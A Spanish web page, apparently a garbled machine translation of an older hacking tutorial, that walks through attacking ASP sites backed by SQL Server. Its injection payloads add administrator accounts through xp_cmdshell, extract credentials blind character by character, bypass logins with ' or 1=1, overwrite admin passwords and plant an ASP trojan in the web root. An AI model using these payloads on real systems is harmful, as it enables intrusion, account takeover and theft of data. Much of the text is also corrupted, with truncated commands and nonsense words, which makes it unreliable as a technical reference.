Colección de citas famosas - Colección de máximas - Características de la inyección de código

Características de la inyección de código

Se accede a la inyección SQL desde el puerto WWW normal y no se ve diferente del acceso a una página web normal, por lo que los cortafuegos actualmente en el mercado no activarán la alarma por inyección SQL. Si el administrador no tiene la costumbre de comprobar los registros de IIS, puede verse comprometido durante mucho tiempo sin que se dé cuenta. Sin embargo, el método de inyección SQL es bastante flexible y se encontrarán muchas situaciones inesperadas durante el proceso de inyección. ¿Puedes analizar la situación específica y construir una declaración SQL inteligente para obtener con éxito los datos deseados?

Según las estadísticas, más del 70% de los sitios web utilizan ASP Access o SQLServer, el 20% utiliza PHP MySQL y el resto son menos del 10%. Este artículo toma SQL-SERVER ASP como ejemplo para explicar los principios, métodos y procesos de la inyección SQL. (El artículo sobre la inyección de PHP fue escrito por zwell, otro amigo de NB Alliance).

La idea general del ataque de inyección SQL es:

l Descubra la ubicación de la inyección SQL;

l Determinar el tipo de base de datos en segundo plano;

l Determinar las condiciones ejecutables de XP_CMDSHELL.

lDescubra el directorio virtual de la red

lCargue el troyano ASP;

lObtenga derechos de administrador;

Primero, inyección SQL, juicio de vulnerabilidades

En términos generales, HTTP://xxx.xxx.xxx/abc.asp? en una página web dinámica ASP generalmente existe en la siguiente forma: id=XX y otros parámetros, a veces en una página web dinámica Puede haber solo un parámetro, a veces puede haber n parámetros, a veces es un parámetro entero, a veces es un parámetro de cadena y no se puede generalizar. En resumen, siempre que sea una página web dinámica con parámetros y esta página web acceda a la base de datos, existe la posibilidad de inyección SQL. Si los programadores de ASP no tienen conocimientos de seguridad y no realizan el filtrado de caracteres necesario, es muy probable que se produzca una inyección SQL.

Para comprender completamente la información de las respuestas de la página web dinámica, primero ajuste la configuración de IE. Consulte el menú IE-Herramientas-Opciones de Internet-Avanzado-Mostrar mensajes de error HTTP amigables.

Para explicar este problema claramente, tomemos HTTP://xxx.xxx.xxx/abc.asp? P=YY, por ejemplo, YY puede ser un número entero o una cadena.

1. Juicio de parámetros enteros

Cuando el parámetro de entrada YY es un número entero, la declaración SQL original en abc.asp generalmente se parece a la siguiente:

Seleccione * del nombre de la tabla, donde el campo = YY, para que pueda utilizar los siguientes pasos para probar si existe inyección SQL.

①HTTP://xxx.xxx.xxx/abc.asp? P=YY '(entre comillas simples), la declaración SQL de abc.ASP se convierte en.

' seleccione * del nombre de la tabla donde campo = YY ', abc.asp se ejecuta anormalmente

②HTTP://xxx.xxx.xxx/abc.asp? 1 = 1, abc.asp se ejecuta normalmente y el resultado de la ejecución es el mismo que HTTP://xxx.xxx.xxx/abc.asp?. xxx.xxx/abc.asp? P = YY y 1 = 2, abc.asp se ejecuta de manera anormal;

Si los tres pasos anteriores se cumplen completamente, entonces abc.asp debe tener una vulnerabilidad de inyección SQL.

2. Juicio de los parámetros de cadena

Cuando el parámetro de entrada YY es una cadena, la declaración SQL original en abc.asp generalmente se parece a la siguiente:

Seleccione * del nombre de la tabla, donde campo = 'YY ', para que pueda utilizar los siguientes pasos para probar si existe inyección SQL.

①HTTP://xxx.xxx.xxx/abc.asp? P=YY '(entre comillas simples), la declaración SQL de abc.ASP se convierte en.

' seleccione * del nombre de la tabla donde campo = YY ', abc.asp se ejecuta anormalmente

②HTTP://xxx.xxx.xxx/abc.asp p = YY amp? ;Niobium...39;1' =' 1 ', abc.asp se ejecuta normalmente y el resultado de la ejecución es el mismo que HTTP://xxx.xxx.xxx/abc.asp? >

③HTTP://xxx.xxx.xxx/abc.asp? p = YY amp; niobio...39; 1' =' 2 ', abc.asp se ejecuta de forma anormal; Las tres condiciones anteriores se cumplen completamente, entonces abc.asp debe tener una vulnerabilidad de inyección SQL.

3. Manejo de situaciones especiales

A veces los programadores ASP filtrarán caracteres como comillas simples para evitar la inyección de SQL. En este momento, puede probar los siguientes métodos.

① Método de mayúsculas y minúsculas: dado que VBS no distingue entre mayúsculas y minúsculas, los programadores generalmente filtran todas las cadenas en mayúsculas o minúsculas al filtrar, y a menudo se ignoran las mayúsculas y minúsculas. Por ejemplo, utilice seleccionar en lugar de SELECCIONAR, Seleccionar, etc. ;

(2) Método UNICODE: en IIS, utilizando el juego de caracteres UNICODE para lograr la internacionalización, podemos convertir completamente la cadena de entrada en IE en una cadena UNICODE para entrada. Por ejemplo =2B, espacio=20 y así sucesivamente. Consulte el Apéndice 1 para obtener información sobre URLEncode;

(3) Método de codificación ASCII: todos o parte de los caracteres de entrada se pueden reemplazar por códigos ASCII, como U=chr(85), a=chr(97 ), etc. Consulte el Apéndice 2 para obtener información ASCII;

En segundo lugar, distinga los tipos de servidores de bases de datos

En términos generales, ACCESS y SQL-SERVER son los servidores de bases de datos más utilizados. Aunque todas admiten el estándar T-SQL, todavía existen diferencias. Las diferentes bases de datos tienen diferentes métodos de ataque y deben tratarse de manera diferente.

1. Utilice las variables del sistema del servidor de bases de datos para distinguir.

SQL-SERVER tiene algunas variables del sistema, como usuario y db_name(). Con estos valores del sistema, no sólo puede evaluar SQL-Server, sino también obtener mucha información útil. Por ejemplo:

①HTTP://xxx.xxx.xxx/abc.asp? p = YY y el usuario gt0 no solo puede determinar si es SQL-SERVER, sino también obtener el nombre de usuario al que está conectado actualmente. la base de datos.

②HTTP://xxx.xxx.xxx/abc.asp? p = YY amp;n...db_name() gt;0 no solo puede determinar si es SQL-SERVER, sino también obtener El nombre de la base de datos actualmente en uso;

2. Usar tablas del sistema

La tabla del sistema de ACCESS es msysobjects, que no tiene derechos de acceso en el entorno WEB, mientras que la tabla del sistema. de SQL-SERVER son sysobjects. Tienen derechos de acceso en el entorno WEB.

Para las dos declaraciones siguientes:

①HTTP://xxx.xxx.xxx/abc.asp? p = YY y (select count(*) from sysobjects)>0

②HTTP ://xxx.xxx.xxx/abc.asp? p = YY suma (seleccione recuento (*) de msysobjects) gt; 0

Si la base de datos es SQL-SERVE, primero, abc. debe ejecutarse normalmente y el segundo es anormal; si se accede a él, ambos serán anormales.

3. Tres tablas clave del sistema MSSQL

Tabla del sistema Sysdatabases: cada base de datos en Microsoft SQL Server ocupa una fila en la tabla. Cuando instala SQL Server por primera vez, sysdatabases contiene entradas para las bases de datos master, model, msdb, mssqlweb y tempdb. Esta tabla solo se almacena en la base de datos maestra. Esta tabla se almacena en la base de datos maestra. ¿Qué información se almacena en esta tabla? Esto es muy importante. Guarda todos los nombres de las bibliotecas, así como los identificadores de las bibliotecas y cierta información relacionada.

Aquí te doy una lista de nombres de campos útiles y descripciones relacionadas. Nombre //Indica el nombre de la biblioteca.

Dbid //Indica el id de la biblioteca, Dbid es un número sistemático del 1 al 5. Ellos son: master, model, msdb, mssqlweb y tempdb. Utilice select * from master .dbo . sysdatabases para conocer todos los nombres de las bibliotecas.

Sysobjects: La base de datos SQL-SERVER de SQL-SERVER tiene esta tabla del sistema, que almacena todos los objetos creados en la base de datos, como restricciones, valores predeterminados, registros, reglas, procedimientos almacenados, etc. Cada objeto ocupa una fila de la tabla. Los siguientes son los nombres de los campos y las descripciones relacionadas de esta tabla del sistema.

Nombre, id, tipo x, uid y estado: respectivamente, el nombre del objeto, id del objeto, tipo de objeto, ID de usuario del propietario del objeto y estado del objeto.

Tipo de objeto (xtype). Puede ser uno de los siguientes tipos de objeto:

C = Verificar restricción

D = Valor predeterminado o restricción predeterminada

F = Restricción de clave externa

L = Logaritmo

FN = Función escalar

IF = Función de tabla integrada

P = Procedimiento almacenado

PK = Primario Restricciones clave (tipo k)

RF = Procedimiento almacenado del filtro de replicación

S = Tabla del sistema

TF = Función de tabla

TR = Trigger

U =Tabla de usuarios

UQ =Restricción única (tipo k)

V =Ver

X =Proceso de almacenamiento extendido

Cuando xtype = 'u' y status >; 0 indica la tabla creada por el usuario, el nombre del objeto es el nombre de la tabla y el ID del objeto es el valor de ID de la tabla.

Uso: seleccione * de chouyfd . sysobjects donde xtype = 'u' y status > 0 pueden enumerar los nombres de las tablas creadas por todos los usuarios en la biblioteca ChouYFD.

Columnas del sistema: cada columna de cada tabla y vista ocupa una fila de la tabla, y cada parámetro del procedimiento almacenado también ocupa una fila de la tabla. Esta tabla se encuentra en cada base de datos. Los campos principales son:

Nombre, id, colid: son el nombre del campo, el número de id de la tabla y el número de id del campo respectivamente, donde ID es el número de id de la tabla que acabamos de obtener usando sysobjects.

Uso: seleccione * de las columnas ChouYFD dbo . sys donde ID = 123456789 para obtener la lista de todos los campos en chouyfd. El ID de la tabla es 123456789.

En tercer lugar, determine la ejecutabilidad de XP_CMDSHELL

Si la cuenta actualmente conectada a los datos tiene permisos SA y el procedimiento almacenado extendido master.dbo.xp_cmdshell (llamar a este procedimiento almacenado puede ser usado directamente el shell del sistema operativo) se puede ejecutar correctamente, luego puede controlar completamente toda la computadora a través del siguiente método y todos los pasos posteriores se pueden omitir.

HTTP://xxx.xxx.xxx/abc.asp? p = YY amp;niobium...ergt0 abc.asp se ejecuta de forma anormal, pero se puede obtener el nombre de usuario de la base de datos actualmente conectada ( si se muestra dbo, significa SA).

2. HTTP://xxx.xxx.xxx/abc.asp? p = YY...me() gt; 0 abc.asp se ejecuta de forma anormal, pero el nombre de la base de datos actualmente conectada puede ser obtenido.

3. HTTP://xxx.xxx.xxx/abc.asp? p = YY; Execmaster..XP _ cmdshellnet useraabbb/add-(master es la base de datos principal de SQL-SERVER; en nombre El punto y coma significa que SQL-SERVER ha terminado de ejecutar el nombre de la declaración antes del punto y coma y continúa ejecutando las declaraciones posteriores. El signo - significa que todo lo que sigue es solo un comentario y el sistema no lo ejecutará). Puede agregarlo directamente; la cuenta del sistema operativo aaa y la contraseña bbb.

4. HTTP://xxx.xxx.xxx/abc.asp? p = YY; Execmaster..XP_cmdshellnet administradores del grupo local aaa/add: agregue la cuenta AAA recién agregada al grupo de administradores.

5. HTTP://xxx.xxx.xxx/abc.asp? p = YY; haga una copia de seguridad del nombre de la base de datos en el disco = 'c:\inetpub\wwwroot\save.db' volverá cargue todo el contenido de datos en el directorio WEB y luego use HTTP para descargar el archivo (por supuesto, primero debe conocer el directorio virtual WEB).

6. Crear vulnerabilidad UNICODE copiando CMD.

HTTP://xxx.xxx.xxx/abc.asp?p=YY;Extensión del programa ejecutable...dbo.XP_cmdshell copyc:\winnt\system32\cmd.exec :\inetpub\scripts \cmd.exe crea una vulnerabilidad UNICODE. Al explotar esta vulnerabilidad, puede controlar toda la computadora (por supuesto, primero debe conocer el directorio virtual WEB).

Cuarto, descubra el directorio virtual WEB

Solo encontrando el directorio virtual WEB se puede determinar la ubicación del troyano ASP y obtener los permisos del usuario. Hay dos métodos que son más efectivos.

Una es adivinar en base a la experiencia. En términos generales, el directorio virtual WEB es: c:\inetpub\wwwroot; d:\inetpub\wwwroot E:\inetpub\wwwroot, etc.

, el directorio virtual ejecutable es: c:\inetpub\scripts; d:\inetpub\scripts E:\inetpub\scripts, etc.

El segundo es recorrer la estructura de directorios del sistema, analizar los resultados y encontrar el directorio virtual WEB.

Primero cree una tabla temporal: temp.

HTTP://xxx.xxx.xxx/abc.asp? p = YY; crear ampn...mp(id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num 3 nvarchar(255)); -

Siguiente:

(1) Podemos usar xp_availablemedia para obtener todas las unidades actuales y almacenarlas en la tabla temporal:

HTTP://xxx.xxx.xxx/abc.asp? p = YY; insertar temperatura...ter .dbo _ medios disponibles -

Podemos consultar la temperatura por contenido. una lista de unidades e información relacionada.

(2) Podemos usar xp_subdirs para obtener la lista de subdirectorios y almacenarla en la tabla temporal:

HTTP://xxx.xxx.xxx/abc.asp?p = YY; insertar en temp(i...dbo. XP_subdirs 'c:\';-

(3) También podemos usar Insertar en la tabla temporal:

HTTP:// xxx.xxx.xxx/abc.asp? p = YY; Insertar en temp(id, num 1)exec master . puede explorar con éxito la lista de todos los directorios (carpetas):

Si necesitamos ver el contenido del archivo, podemos ejecutar xp_cmdsell:

HTTP://xxx.xxx. xxx/abc.asp?p=YY; insertar en temp(id) exec...nbspEscriba c:\web\index.ASP'-

Utilice la sintaxis de "inserción masiva" para insertar archivos de texto en archivos temporales. tablas Por ejemplo: Insertar temperatura (id) de forma masiva desde "c:\inetpub\wwwroot\index.asp"

Examinar el índice de vista temporal El contenido del archivo .asp. Puede obtener una gran cantidad de información del sistema, información de construcción y administración del sitio web, e incluso la contraseña de conexión de la cuenta SA.

Por supuesto, si se puede ejecutar xp_cmshell, podemos usar esto para lograr:

HTTP://xxx.xxx.xxx/abc.asp? p = YY; insertar en temp(id) y amp(=NationalBureauofStandards) Oficina Nacional de Estándares... cmdshell "dir c:\";

HTTP://xxx.xxx.xxx/abc.asp?p=YY; Insertar en temp(id) y ampn...p_cmdshell 'dir c: \*.ASP/s/a' -

A través de xp_cmdshell podemos ver todo lo que queramos, incluido W3svc.

HTTP://xxx.xxx.xxx/abc.asp? p = YY; inserte temp(id)exec master . w3svc '

Sin embargo, aún podemos usarlo sin permisos SA.

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insertar en temp(id,num 1)exec master.dbo.XP_dirtree 'c:\';-< /p >

Nota:

1. Todo el contenido de TEMP debe eliminarse después de cada navegación. El método de eliminación es el siguiente:

HTTP://xxx.xxx.xxx/abc.asp? p = YY; eliminar de temp -

2. la tabla temporal es (asumiendo que TestDB es el nombre de la base de datos actualmente conectada)

HTTP://xxx.xxx.xxx/abc.asp?p=YY y (seleccione top amp...nbsptestdb. dbo.temp) gt;0 para obtener el valor del campo id del primer registro en la tabla TEMP y compararlo con un número entero. Aparentemente, abc.asp funciona de manera anormal, pero el valor del campo id se puede encontrar en la excepción. Supongamos que el nombre de la tabla descubierta es xyz, luego

HTTP://xxx.xxx.xxx/abc.asp? p = YY y (seleccione la identificación principal de... aquí la identificación no está en ( ' XYZ ' ) gt; 0 Obtiene el valor del campo id del segundo registro en la tabla TEMP

5. Subir troyano ASP

El llamado troyano ASP es un ASP. código con funciones especiales, colóquelo en un script en el directorio virtual WEB y el cliente remoto puede ejecutarlo a través de IE para obtener los derechos de usuario del sistema y lograr el control inicial del sistema. Generalmente hay dos formas efectivas de cargar ASP. Troyanos:

1. Utilice la función de administración remota WEB

Para facilitar el mantenimiento, muchos sitios web proporcionan funciones de administración remota. Para controlar los permisos de los usuarios, también hay muchos sitios web con diferentes funciones. los usuarios tienen diferentes derechos de acceso. Hay una página web que requiere un nombre de usuario y contraseña. Solo ingresando los valores correctos se puede realizar el siguiente paso, como cargar y descargar archivos, navegar por directorios, modificar configuraciones, etc. p>

Por lo tanto, si obtiene el nombre de usuario y la contraseña correctos, no solo puede cargar el troyano ASP, sino que a veces incluso puede obtener directamente el permiso del usuario para navegar por el sistema, lo que puede ahorrarle la complicada operación de. descubriendo el directorio virtual WEB en el paso anterior.

Los nombres de usuario y las contraseñas generalmente se almacenan en una tabla. Busque esta tabla y lea su contenido para resolver el problema. , método de inyección:

En teoría, habrá algunos tipos en la página web de autenticación, por ejemplo:

En la declaración de select * from admin donde nombre de usuario =' XXX ' y contraseña =' ​​yyy ', si no se ingresan los caracteres necesarios antes de que la declaración se ejecute oficialmente, Filtrar, es fácil implementar la inyección SQL

Si ingresa: ABC ' o 1 = 1-in. el cuadro de contraseña: 123, la declaración SQL se convertirá en:

Seleccione * de admin donde nombre de usuario ='ABC' o 1 = 1, contraseña =' ​​123 'No importa qué nombre de usuario y contraseña ingrese el usuario , esta declaración siempre se puede ejecutar correctamente y el usuario puede engañar fácilmente al sistema y obtener una identidad legal.

b. Solución de adivinanzas:

La idea básica es: adivinar todos los nombres de las bases de datos, adivinar el nombre de cada tabla en la base de datos, analizar los nombres de las tablas que pueden almacenar nombres de usuario y contraseñas, adivinar. la tabla Para cada nombre de campo en la tabla, adivine el contenido de cada registro en la tabla.

Supongo que todos los nombres de las bases de datos

HTTP://xxx.xxx.xxx/abc.asp? p = YY y (seleccione count(*) de master . dbo . sysdatabases donde nombre gt;1 y dbid = 6) lt;gt0 es utilizado por el sistema porque el valor de dbid varía de 1 a 5. Por lo tanto, la construcción propia de los usuarios debe comenzar desde 6. Enviamos el nombre gt1 (el campo de nombre es un campo de caracteres y se producirá un error al compararlo con los números. abc.asp funcionó de manera anormal y se puede obtener el primer nombre de la base de datos). De manera similar, al cambiar el DBID a 7, 8, 9, 10, 11, 12, se pueden obtener todos los nombres de la base de datos...

El nombre de la base de datos obtenido mediante la siguiente suposición es TestDB.

Supongo el nombre de la tabla de nombres de usuario en la base de datos

Solución de adivinanza: este método consiste en adivinar el nombre de la tabla basándose en la experiencia personal. En términos generales, usuarios, usuarios, miembros, lista de usuarios, lista de miembros, información de usuario, administrador, administrador, usuario administrador, usuario del sistema, usuarios del sistema, usuarios del sistema, cuentas del sistema, etc. A juzgar por el veredicto.

HTTP://xxx.xxx.xxx/abc.asp? P = yyand(select count(*)from testdb . dbo . table name)> 0 Si el nombre de la tabla existe, abc.asp funciona normalmente, de lo contrario será anormal. Repita este ciclo hasta que adivine el nombre de la tabla de cuentas del sistema.

Método de lectura: SQL-SERVER tiene una tabla sysobjects, que se utiliza para almacenar información central del sistema. Todas las tablas, vistas y otra información sobre la biblioteca se almacenan en esta tabla y se puede acceder a ellas a través de la WEB.

Cuando xtype = 'u' y status >; 0 representa una tabla creada por el usuario. Al descubrir y analizar las tablas y nombres creados por cada usuario, se puede obtener el nombre de la tabla de nombres de usuario. El método de implementación básico es el siguiente:

①HTTP://xxx.xxx.xxx/abc.asp? p = YY y (seleccione el nombre superior de TestD...type='U' y status gt0) >0 Obtiene el nombre de la primera tabla creada por el usuario y la compara con un número entero. Aparentemente, abc.asp funciona de manera anormal, pero el nombre de la tabla se puede encontrar en la excepción. Supongamos que el nombre de la tabla descubierta no está en (' El usuario tiene el nombre de usuario y la contraseña almacenados. Supongamos que esta tabla se llama Admin.

l Adivine los nombres del campo de nombre de usuario y de la contraseña.

Debe haber un campo de nombre de usuario en la tabla de administración y un campo de contraseña. Solo obteniendo los nombres de estos dos campos se puede obtener el contenido de estos dos campos.

Hay dos formas de adivinar. : Este método se basa en que el individuo adivine empíricamente los nombres de los campos.

En términos generales, los nombres del campo de nombre de usuario se utilizan más comúnmente: nombre de usuario, nombre, usuario, número de cuenta, etc. Los nombres de campos de contraseña de uso común incluyen: contraseña, contraseña, contraseña, contraseña, etc. A juzgar por el veredicto.

HTTP://xxx.xxx.xxx/abc.asp? P = suma AA (seleccione el recuento de TestDB.dbo.admin) gt0 seleccione el recuento (nombre del campo) Obtener tabla de la declaración del nombre de la tabla El número de filas en el campo, por lo que si el nombre del campo existe, abc.asp funciona normalmente; de ​​lo contrario, es anormal. Repita este ciclo hasta que adivine los nombres de ambos campos.

Método de lectura: El método de implementación básico es

HTTP://xxx.xxx.xxx/abc.asp? p = YY y (select...me(object_id(' admin '), 1) de testdb .dbo .sysobjects) gt; seleccione top 1 col_name(object_id('admin'),1)from testdb.dbo.sysobjects es el primer nombre de campo del nombre de la tabla conocida obtenida de sysobjects. En comparación con los números enteros, es obvio que abc.asp funciona de manera anormal, pero el nombre del campo se puede encontrar en la excepción. Reemplace 1 en col_name (object_id ('admin '), 1) con 2, 3, 4, 5, 6... para obtener todos los nombres de los campos.

Adivino el nombre de usuario y la contraseña

La forma más común y efectiva de adivinar el contenido del nombre de usuario y la contraseña es:

Decodificación palabra por palabra de código ASCII: aunque el método es lento, ciertamente es factible. La idea básica es adivinar primero la longitud del campo y luego adivinar el valor de cada bit por turno. Adivinar un nombre de usuario se hace de la misma manera que adivinar una contraseña. A continuación se muestra un ejemplo del proceso de adivinar un nombre de usuario.

HTTP://xxx.xxx.xxx/abc.asp?p=YY&(seleccione el amplificador superior...nbsp de testdb.dbo.admin)=x(x=1,2,3, 4 , 5,...n, nombre de usuario es el nombre del campo de nombre de usuario, administrador es el nombre de la tabla). Si x es un valor I y abc.asp se ejecuta normalmente, I es la longitud del primer nombre de usuario. Por ejemplo, al ingresar

cuando p=, HTTP://xxx.xxx.xxx/abc.asp? Abc.asp se ejecuta normalmente (seleccione top...e) desde testdb.dbo.admin). = 8, entonces la longitud del primer nombre de usuario es 8.

HTTP://xxx.xxx.xxx/abc.asp? P = YY y (seleccione... testdb.dbo.admin ascii (subcadena (nombre de usuario, m, 1)) = n( El valor de m está entre 1 y la longitud del nombre de usuario obtenido en el paso anterior. Cuando m = 1, 2, 3,..., el valor de n es 1 ~ 9, a ~ z, A ~ Z. El valor ASCII es cualquier valor entre 1 y 128; Admin es el nombre de la tabla de cuentas de usuario del sistema). Si n es un valor determinado I y abc.asp se ejecuta normalmente, entonces el código ASCII correspondiente a I es un valor determinado del usuario. nombre.

Por ejemplo, al ingresar

HTTP://xxx.xxx.xxx/abc.asp? cuando p = y y(sel...ASCII (subcadena (nombre de usuario, 3, 1)) de testdb. dbo . admin) = 80, abc.asp se ejecuta normalmente, entonces el tercer dígito del nombre de usuario es p (el ASCII de p es 80);

HTTP://xxx.xxx.xxx/abc .asp? Cuando p = y y(sel...ascii(substring (nombre de usuario, 9, 1)) en testdb . dbo . admin) = 33, abc.asp se ejecuta normalmente, por lo que el noveno dígito del nombre de usuario es !( !'s ASCII El código es 33);

Después de adivinar el primer nombre de usuario y contraseña, puede utilizar el mismo método para adivinar todos los demás nombres de usuario y contraseñas. Nota: A veces la contraseña obtenida puede ser MD5 u otra. información cifrada. Y necesita utilizar herramientas especiales para descifrarla. O cambie la contraseña primero y luego vuelva a cambiarla después de usarla.

Método simple: adivine el nombre de usuario.

HTTP: //xxx.xxx.xxx/abc.asp? p = YY y (seleccione top 1...o.admin, donde el nombre de usuario es gt1), la bandera es un campo en la tabla de administración y el nombre de usuario es un usuario. campo de nombre. En este momento, abc.asp funciona de manera anormal, pero puede obtener el valor del nombre de usuario. Usando el mismo método que el anterior, puede obtener el segundo nombre de usuario, el tercer nombre de usuario, y así sucesivamente, hasta que todos los nombres de usuario. en la tabla

Adivina la contraseña de usuario: http://xxx.xxx.xxx/abc.asp?p=YY y (selecciona los 1 primeros&nb...B.dbo.admin donde pwd gt1), El indicador es del campo A de la tabla de administración, pwd es un campo de contraseña. En este momento, abc.asp funciona de manera anormal, pero se puede obtener el valor de pwd Como se indicó anteriormente, se puede obtener la contraseña del segundo nombre de usuario. encendido, hasta que las contraseñas de todos los usuarios de la tabla a veces se cifran con MD5 y se pueden cambiar. HTTP://xxx.xxx.xxx/abc.asp?p=YY; actualice TestDB.dbo.admin set pwd. '...donde nombre de usuario = ' www-(El valor MD5 de 1 es: AABBBBCCDDDEEEF, es decir, cambie la contraseña a 1; Www es un nombre de usuario conocido)

Por supuesto, el mismo método puede ser used Cambie la contraseña a su valor original

2. Utilice la función de convertir el contenido de la tabla en archivos

SQL tiene un comando BCP que puede importar el contenido de la tabla en un texto. archivo y colóquelo allí en la ubicación especificada. Con esta función, primero podemos crear una tabla temporal, luego ingresar un troyano ASP en la tabla línea por línea y luego usar el comando BCP para exportarlo para formar un archivo ASP.

El formato de la línea de comando es el siguiente:

Bcp seleccione *..foo de la consulta de texto c:\inetpub\wwwroot\run comando .ASP-c-s localhost-u sa-p foobar (El parámetro 's' es el servidor que ejecuta la consulta, el parámetro 'u' es el nombre de usuario, el parámetro 'p' es la contraseña y finalmente se carga un troyano de runcommand.asp).

6. Obtener derechos de administrador del sistema

ASP Trojan solo tiene derechos de usuario Para obtener un control total del sistema, también se requieren derechos de administrador del sistema. ¿Qué hacemos? Hay muchas formas de aumentar los privilegios:

Subir un troyano y modificarlo.

ini que se inicia automáticamente (fallará una vez reiniciado);

Copia CMD.exe en el script para crear artificialmente vulnerabilidades UNICODE;

Descarga el archivo SAM y descifralo para obtener todas las Nombre de usuario y contraseña del sistema operativo;

etc. Se pueden utilizar diferentes métodos dependiendo de las condiciones específicas del sistema.

Siete métodos especiales de SQL-SERVER

1. Utilice el procedimiento almacenado extendido xp_regread para modificar el registro.

[xp_regread] Otro procedimiento almacenado incorporado útil es el conjunto de funciones de la clase xp_regXXXX (Xp_regaddmultistring, Xp_regdeletekey, Xp_regdeletevalue, Xp_regenumkeys, Xp_regenumvalues, xp_regread, Los atacantes pueden utilizar estas funciones para modificar el registro, como leer valores SAM, permitir que se establezcan conexiones vacías, iniciar programas automáticamente, etc. Por ejemplo:

' exexp_regreadhkey_local_machine, 'system\current control set\services\lanman server\parameters', 'nullsessionshares' determina los tipos de conexiones de sesión disponibles en el servidor.

Exexp_regenumvalues ​​​​HKEY_Local_Machine, 'System\Current Control Set\Services\SNMP\Parameters\Effective Communities' muestra la configuración de todas las comunidades SNMP en el servidor. Con esta información, un atacante puede reconfigurar dispositivos de red dentro de la misma red.

2. Utilice otros procedimientos almacenados para cambiar el servidor.

El programa Xp_servicecontrol permite a los usuarios iniciar y detener servicios. Por ejemplo:

(Host de ejecución..xp_servicecontrol 'Inicio', 'Planificar'

Host de ejecución..xp_servicecontrol 'Inicio', 'Servidor')

Xp_availablemedia Muestra las unidades disponibles en la máquina.

Xp_dirtree te permite obtener un árbol de directorios.

Xp_enumdsn enumera las fuentes de datos ODBC en el servidor.

Xp_loginconfig obtiene información de seguridad del servidor

Xp_makecab permite a los usuarios crear un archivo comprimido en el servidor.

Xp_ntsec_enumdomains enumera los dominios que el servidor puede ingresar.

Xp_terminate_process proporciona el ID del proceso y finaliza el proceso.

Apéndice 1: tabla URLUnicode (extracto, principalmente caracteres no alfabéticos, RFC1738)

El significado de la codificación de URL de caracteres especiales

# Se utiliza para marcar un documento específico ubicaciones 23

Codificación de caracteres especiales 25

amp separa diferentes pares de valores de variables 26

Representa el espacio 2B en el valor de la variable.

/ representa la ruta del directorio 2F.

\ 5C

=Se utiliza para unir clave y valor 3D

Indica el comienzo de la cadena de consulta 3F.

Espacio 20

.

Período 2E

: Dos puntos 3A

Apéndice 2: Tabla ASCII (extracto)

Caracteres decimales hexadecimales

80 50p

32 20 (espacio) 81 51 Q

33 21 !82 52 R

Latitud sur 34 22 83 53

35 23 # 84 54 toneladas

36 24 $content$ nbsp85 55 dólares

37 25 86 56 voltios

38 26 amp87 57 W

39 27 ' 88 58 X

40 28 ( 89 59 Y

41 29 ) 90 5A Z

42 2A * 91 5B [

43 2B 92 5C \

44 2C, 93 5D ]

45 2D - 94 5E ^

No. 95 5F _

47 2F / 96 60'

48 30 0 97 61 a

49 31 1 98 62 b

50 32 2 99 63 c

51 33 3 100 64 d

52 34 4

53 35 5 101 65 e

54 36 6 102 66 f

55 37 7 103 67 gramos

56 38 8 104 68 horas

57 39 9 105 69 i

58 3A: 106 6A j

59 3B; 107 6B k

60 3C lt; 108 6C l

61 3D = 109 6D metros

62 3E gt; 110 6E n

Nº 63? 111 6F o

112 70p

64 40 @ 113 72Q

65 41 A 114 72 r

66 42 B 115 73 s

67 43 C 116 74 t

68 44 D 117 75 u

69 45 E 118 76 v

70 46 F 119 77 w

71 47g 120 78 x

72 48 horas 121 79 años

73 49 I 122 7A z

74 4A J 123 7B {

75 4B K 124 7C |

76 4C L 125 7D }

77 4D M 126 7E ~

No 78 Código postal 127 7F?

79 4F O 128 80